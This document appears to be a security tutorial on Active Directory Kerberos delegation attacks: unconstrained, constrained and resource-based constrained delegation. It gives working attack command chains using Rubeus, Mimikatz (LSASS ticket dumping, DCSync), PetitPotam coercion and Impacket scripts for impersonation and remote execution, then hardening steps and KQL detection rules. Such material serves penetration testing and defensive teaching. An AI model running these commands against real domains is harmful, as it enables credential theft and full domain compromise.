Active Directory Delegation Attacks: Unconstrained, Constrained & RBCD Exploitation (Hands-On Masterclass 2026)
Executive Summary & Mental Model (Step 0)
In Active Directory (AD) infrastructure, Kerberos Delegation is a fundamental architectural feature designed to allow a front-end service (such as a Web Server or Application Gateway) to impersonate a client when requesting access to a back-end resource (such as a SQL Database or File Server).
Without delegation, multi-tier applications require double authentication or storing service account passwords in plain text. Kerberos Delegation solves this problem by allowing the middle-tier server to act on behalf of the authenticating user.
However, misconfigured delegation settings represent one of the most lethal privilege escalation and lateral movement vectors in enterprise Active Directory environments. If an attacker gains control of an account or host with delegation rights, they can forge Kerberos tickets to impersonate any user—including Domain Admins—across the domain.
This hands-on masterclass details the internal mechanics, exploitation methodologies, and defensive detection engineering for all three evolutionary models of Kerberos Delegation:
- Unconstrained Delegation (KUD): The legacy model where target servers receive and store full user Ticket-Granting Tickets (TGTs) in LSASS memory.
- Constrained Delegation (KCD): The restricted model utilizing Kerberos Extensions (S4U2Self and S4U2Proxy) to limit delegation to specific Service Principal Names (SPNs).
- Resource-Based Constrained Delegation (RBCD): The modern, inverted trust model (Windows Server 2012 R2+) where target resources specify which services are permitted to delegate to them via the
msDS-AllowedToActOnBehalfOfOtherIdentityattribute.
Comparative Breakdown: Delegation Models at a Glance
| Delegation Type | Introduced In | Control Permission | Key AD Attribute / Flag | Impersonation Scope | TGT Forwarded to Memory? |
|---|---|---|---|---|---|
| Unconstrained (KUD) | Windows 2000 | Domain Admin | userAccountControl: TRUSTED_FOR_DELEGATION (0x1000000) | Any domain service / Any user | Yes (Full TGT stored in LSASS) |
| Constrained (KCD - Standard) | Windows Server 2003 | Domain Admin | msDS-AllowedToDelegateTo | Specific named SPNs | No (Uses S4U extensions) |
| Constrained (KCD - Protocol Transition) | Windows Server 2003 | Domain Admin | TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION (0x10000000) | Specific named SPNs (User authentication not required) | No (Uses S4U extensions) |
| Resource-Based (RBCD) | Windows Server 2012 R2 | Resource Owner / Writable DACL | msDS-AllowedToActOnBehalfOfOtherIdentity on target object | Specific accounts specified by target | No (Uses S4U extensions) |
1. Unconstrained Delegation (KUD) Mechanics & Exploitation
Internal Architecture
When a computer or service account is configured with Unconstrained Delegation (TRUSTED_FOR_DELEGATION), the Key Distribution Center (KDC) includes a copy of the requesting user's Ticket-Granting Ticket (TGT) inside the Service Ticket (TGS) sent to that service.
When the user authenticates to the unconstrained server, the server extracts the user's TGT from the Kerberos AP-REQ message and caches it in its Local Security Authority Subsystem Service (LSASS) memory.
If a high-privilege account (e.g., Domain Admin) authenticates to an unconstrained server, an attacker who has compromised that server can dump the cached TGT directly from LSASS and inject it into their own session.
[Client / DA] ---(Authenticates via Kerberos)---> [Unconstrained Server]
|
(Stores DA TGT in LSASS)
|
[Attacker on Server] <---(Dumps TGT via Mimikatz/Rubeus)----+
Attack Vector 1: Hunting Unconstrained Hosts
Using PowerView or the standard ActiveDirectory PowerShell module, enumerate all computer accounts (excluding Domain Controllers) with unconstrained delegation enabled:
# Enumerate Unconstrained Delegation computers using PowerView
Get-DomainComputer -Unconstrained -ExcludeDCs | Select-Object name, dnshostname, useraccountcontrol
# Using ActiveDirectory Module
Get-ADComputer -Filter {UserAccountControl -band 0x1000000} -Properties UserAccountControl |
Where-Object {$_.objectClass -eq "computer" -and $_.PrimaryGroupID -ne 516} |
Select-Object Name, DNSHostName
Attack Vector 2: Forced Authentication (Coercion) + TGT Extraction
If no Domain Admin is actively logging into the compromised unconstrained host, an attacker can coerce a Domain Controller (DC) to authenticate to the unconstrained host using RPC methods such as MS-RPRN (Printer Spooler) or MS-EFSR (PetitPotam).
Step 1: Monitor / Listen for TGTs on the Unconstrained Machine
Using Rubeus in monitor mode:
# Monitor for incoming TGT tickets every 5 seconds
Rubeus.exe monitor /interval:5 /targetuser:DC01$
Step 2: Coerce DC Authentication via PetitPotam or PrinterBug
From an attacker host, trigger authentication from the DC (DC01.domain.local) back to the unconstrained host (APPSRV01.domain.local):
# Using PetitPotam (MS-EFSR) via Impacket
python3 petitpotam.py APPSRV01.domain.local DC01.domain.local
# Or using SpoolSample / Coercer
python3 coercer.py coerce -u lowpriv -p 'Password123' -d domain.local -t APPSRV01.domain.local -l DC01.domain.local
Step 3: Extract & Pass-the-Ticket (PTT)
Once the DC authenticates, its TGT (representing DC01$) lands in LSASS memory on APPSRV01. Extract and inject the ticket:
# Dump ticket with Mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
# Pass-the-Ticket using Rubeus
Rubeus.exe ptt /ticket:doIF3jCCBdagAwIBBaEDAgEW...
# Perform DCSync to dump all domain hashes
mimikatz.exe "lsadump::dcsync /domain:domain.local /user:Administrator" "exit"
2. Constrained Delegation (KCD) & S4U Protocol Abuse
Internal Architecture
Constrained Delegation restricts an account's impersonation capability to explicit SPNs defined in the msDS-AllowedToDelegateTo attribute. To achieve this without requiring full TGT forwarding, Microsoft introduced two Kerberos extensions:
- S4U2Self (Service-for-User-to-Self): Allows a service account to request a TGS for itself on behalf of any arbitrary user (e.g., Administrator), even if that user never authenticated to the service.
- S4U2Proxy (Service-for-User-to-Proxy): Takes the TGS obtained via S4U2Self and exchanges it at the KDC for a service ticket to the target SPN listed in
msDS-AllowedToDelegateTo.
If the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flag is set on the account, Protocol Transition is enabled, allowing the service to impersonate users who authenticated via non-Kerberos methods (e.g., NTLM, Forms, or anonymous web access).
[Service Account (web_svc)] ---(S4U2Self: Impersonate Administrator)---> [KDC]
[Service Account (web_svc)] <---(Returns Forwardable TGS for Administrator)--- [KDC]
|
[Service Account (web_svc)] ---(S4U2Proxy: Request TGS for cifs/sql01)---> [KDC]
[Service Account (web_svc)] <---(Returns TGS for cifs/sql01 as Admin)-------- [KDC]
Attack Vector: Abusing Constrained Delegation with Impacket & Rubeus
Assume the service account websvc (or machine account WEB01$) has msDS-AllowedToDelegateTo set to cifs/FILESV01.domain.local.
Step 1: Enumerate Constrained Delegation Targets
# PowerView Enumeration
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object name, msds-allowedtodelegateto
Step 2: Request Impersonated Service Ticket via Impacket getST.py
Using the NT hash of websvc or WEB01$:
# Obtain a service ticket impersonating 'Administrator' for the allowed CIFS service
python3 getST.py -hk 0e6c278... -spn cifs/FILESV01.domain.local -impersonate Administrator domain.local/websvc
# Export the resulting Kerberos ticket to environment
export KRB5CCNAME=Administrator.ccache
# Access the target share as Administrator
smbclient -k -no-pass //FILESV01.domain.local/C$
SPN Substitution (Alternative Service Swapping)
Kerberos service ticket validation checks only the service ticket encryption key (which belongs to the machine account). The service name portion of the SPN inside the ticket is not cryptographically bound to the target service class!
If msDS-AllowedToDelegateTo allows delegation to time/FILESV01.domain.local, an attacker can request the ticket for time/FILESV01 and then alter the SPN prefix to cifs/FILESV01 or host/FILESV01 (or use Impacket's -altservice flag):
# Request delegation ticket with SPN substitution to gain CIFS (SMB) access
python3 getST.py -spn time/FILESV01.domain.local -altservice cifs -impersonate Administrator -hashes :4a5d... domain.local/websvc
3. Resource-Based Constrained Delegation (RBCD) Masterclass
Internal Architecture
Introduced in Windows Server 2012 R2, Resource-Based Constrained Delegation (RBCD) flips the delegation trust model. Instead of an administrator editing the front-end delegating account (msDS-AllowedToDelegateTo), the back-end resource object maintains an Active Directory attribute called msDS-AllowedToActOnBehalfOfOtherIdentity.
This attribute contains a raw Security Descriptor (DACL) that lists which security principals (users or computer accounts) are allowed to perform S4U delegation to this resource.
The Attack Chain: From GenericWrite to Full Domain Administrator
If an attacker possesses GenericWrite, GenericAll, or WriteProperty permissions over a computer object (e.g., TARGET-PC$), they can modify its msDS-AllowedToActOnBehalfOfOtherIdentity attribute without requiring Domain Admin privileges!
The 4-Step RBCD Exploit Chain:
- Control / Create a Controlled Account: Spawn a dummy computer account (
FAKE-PC$) using the default Machine Account Quota (ms-DS-MachineAccountQuotadefault = 10). - Write DACL to Target: Write the Security Descriptor naming
FAKE-PC$intoTARGET-PC$'smsDS-AllowedToActOnBehalfOfOtherIdentityattribute. - Execute S4U2Self + S4U2Proxy: Use
FAKE-PC$credentials to perform an S4U request impersonatingAdministratorforTARGET-PC$. - Pass-the-Ticket: Use the generated TGS ticket to compromise
TARGET-PC$.
[Attacker] --(1. Creates FAKE-PC$)--> [Active Directory]
[Attacker] --(2. Sets msDS-AllowedToActOnBehalfOfOtherIdentity on TARGET-PC$)--> [TARGET-PC$]
[FAKE-PC$] --(3. S4U2Self + S4U2Proxy for Admin)---> [KDC] ---> [Receives Admin TGS]
[Attacker] --(4. Uses Admin TGS via PTT)-----------> [TARGET-PC$ (System Compromise)]
Complete Hands-On RBCD Exploitation Protocol
Step 1: Create a Computer Account via addcomputer.py
# Create a controlled computer account using valid domain user credentials
python3 addcomputer.py -domain domain.local -computer-name 'ATTACK-PC$' -computer-pass 'Password123!' -dc-ip 192.168.1.10 'lowpriv:UserPass123'
Step 2: Configure RBCD on Target Machine via rbcd.py or bloodyAD
Using rbcd.py from Impacket:
# Grant ATTACK-PC$ permission to delegate to TARGET-PC$
python3 rbcd.py -delegate-to 'TARGET-PC$' -delegate-from 'ATTACK-PC$' -action write -dc-ip 192.168.1.10 'domain.local/lowpriv:UserPass123'
Alternatively, using bloodyAD:
bloodyAD -u lowpriv -p 'UserPass123' -d domain.local --host 192.168.1.10 add rbac 'TARGET-PC$' 'ATTACK-PC$'
Step 3: Request Impersonated TGS via getST.py
# Perform S4U2Self + S4U2Proxy to get TGS for CIFS on TARGET-PC$ as Administrator
python3 getST.py -dc-ip 192.168.1.10 -spn 'cifs/TARGET-PC.domain.local' -impersonate Administrator 'domain.local/ATTACK-PC$:Password123!'
# Export ticket to environment
export KRB5CCNAME=Administrator.ccache
Step 4: Gain SYSTEM Access via Impacket wmiexec.py or psexec.py
# Execute remote commands on TARGET-PC as Administrator
python3 wmiexec.py -k -no-pass TARGET-PC.domain.local
4. Enterprise Blue Team Hardening & Audit Protocols
To systematically neutralize delegation attack vectors, security teams must enforce least-privilege configurations across Active Directory.
1. Set Machine Account Quota to Zero
Prevent non-administrative domain users from creating new computer accounts required for RBCD:
# Set ms-DS-MachineAccountQuota to 0
Set-ADDomain -Identity (Get-ADDomain).DistinguishedName -Replace @{'ms-DS-MachineAccountQuota'=0}
2. Add Tier-0 Accounts to Protected Users Security Group
Accounts placed in the Protected Users group cannot be delegated using Kerberos Delegation (Unconstrained or Constrained). TGTs for these users are never cached on delegate servers.
# Add Domain Admins and Sensitive Accounts to Protected Users
Add-ADGroupMember -Identity "Protected Users" -Members "Administrator", "da_svc"
3. Enable "Account is sensitive and cannot be delegated"
For sensitive service or administrative accounts that cannot be added to Protected Users due to compatibility, set the NOT_DELEGATED flag (0x100000) on their account properties in AD.
# Set Sensitive Flag via PowerShell
Set-ADUser -Identity "AdminUser" -AccountNotDelegated $true
4. Audit Unconstrained & RBCD Attributes Regularly
Run routine PowerShell scripts to audit objects with populated delegation attributes:
# Search for non-DC computer objects with Unconstrained Delegation
Get-ADComputer -Filter {UserAccountControl -band 0x1000000} | Where-Object {$_.PrimaryGroupID -ne 516}
# Search for computer objects with RBCD configured
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object {$_.msDS-AllowedToActOnBehalfOfOtherIdentity -ne $null} |
Select-Object Name, msDS-AllowedToActOnBehalfOfOtherIdentity
5. KQL & Windows Event Log Detection Engineering
Detection Rule 1: Monitoring RBCD Configuration Changes (Event ID 5136)
When an attacker modifies the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, Active Directory logs Event ID 5136 in the Security Event Log.
// Microsoft Sentinel KQL Query: RBCD Attribute Modification Detection
SecurityEvent
| where EventID == 5136
| where AttributeLDAPDisplayName == "msDS-AllowedToActOnBehalfOfOtherIdentity"
| project
TimeGenerated,
SubjectUserName,
SubjectDomainName,
ObjectDN,
AttributeValue,
OperationType
| extend Summary = strcat("Account ", SubjectUserName, " modified RBCD attribute on ", ObjectDN)
Detection Rule 2: Detecting S4U2Self Impersonation Anomalies (Event ID 4769)
Event ID 4769 indicates a Kerberos Service Ticket was requested. When S4U2Self is abused, the ServiceName matches the requesting account, but the ticket is requested for a sensitive user (e.g., Administrator).
// Microsoft Sentinel KQL Query: S4U2Self Kerberos Anomaly Detection
SecurityEvent
| where EventID == 4769
| where TicketOptions has "0x40810000" or TicketOptions has "0x40800000" // S4U Flags
| where TargetUserName startswith "Administrator" or TargetUserName endswith "Admin"
| project
TimeGenerated,
Computer,
TargetUserName,
ServiceName,
IpAddress,
TicketOptions,
Status
Summary Checklist for Active Directory Delegation Security
| Control Area | Security Requirement | Verification Command / Metric | Priority |
|---|---|---|---|
| Machine Account Quota | ms-DS-MachineAccountQuota = 0 | (Get-ADDomain).'ms-DS-MachineAccountQuota' | Critical |
| Tier-0 Protection | Add privileged users to Protected Users group | Get-ADGroupMember -Identity "Protected Users" | Critical |
| Unconstrained Audit | Zero non-DC servers with TRUSTED_FOR_DELEGATION | Get-ADComputer -Filter {UserAccountControl -band 0x1000000} | High |
| RBCD Monitoring | SIEM Alert active for Event ID 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity | Sentinel Alert Policy Verification | High |
| Account Flag | Enable AccountNotDelegated for domain service accounts | Get-ADUser -Filter {AccountNotDelegated -eq $true} | Medium |
Authored by Syed Zada Abrar | SentinelReign Cybersecurity Research Division